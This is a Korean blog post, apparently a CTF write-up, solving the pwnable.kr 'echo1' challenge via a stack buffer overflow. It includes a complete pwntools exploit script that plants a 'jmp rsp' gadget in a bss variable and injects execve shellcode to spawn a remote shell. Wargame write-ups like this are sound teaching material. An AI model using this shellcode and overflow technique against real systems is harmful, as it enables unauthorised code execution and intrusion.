25점 짜리이다.
취약점은 echo1 함수에서 일어나는데, s는 0x20만큼 할당되있지만 128byte만큼 받기때문에 overflow가 발생함!
NX도 없어서 쉘코드를 넣어서 할려했는데
딱히 쉘코드를 넣을곳이 없다 ㅠㅠ 그래서 막 찾아보다가 id 라는게 bss영역에 저장되어있다
그러면 rip를 저 id영역으로 돌리고 쉘코드를 집어넣으면 된다!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * r = remote("pwnable.kr", 9010) print r.recv(2048) jmp_rsp="\xff\xe4" r.sendline(jmp_rsp) print r.recvuntil(">") jmp_rsp="\xff\xe4" id_addr = 0x6020a0 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = "A"*40 payload += p64(id_addr) payload += shellcode r.sendline("1") print r.recv(2048) print r.recv(2048) r.sendline(payload) r.interactive() | cs |
왜 jmp rsp를 넣냐면 사실은 id가 처음에 이름넣을때 쓰이는 변수인데
이름을 넣으면 그 변수에 차곡차곡 저장된다
그래서 id변수로 갸를 돌리고 그 id변수가 jmp rsp 하게되면 쉘코드로 점프하기 때문에 쉘코드가 실행된다!
'Hacking > Pwn' 카테고리의 다른 글
Lord Of Buffer Over Flow - Gate ->Gremlin (0) | 2017.10.18 |
---|---|
DEFCON 2015 - baby's first heap (1) | 2017.10.03 |
힙을 gdb로 살펴보자! (0) | 2017.10.02 |
Pwnable.kr - cmd1 (0) | 2017.10.01 |
CSAW 2013 Exploitation - exploit1 (0) | 2017.09.30 |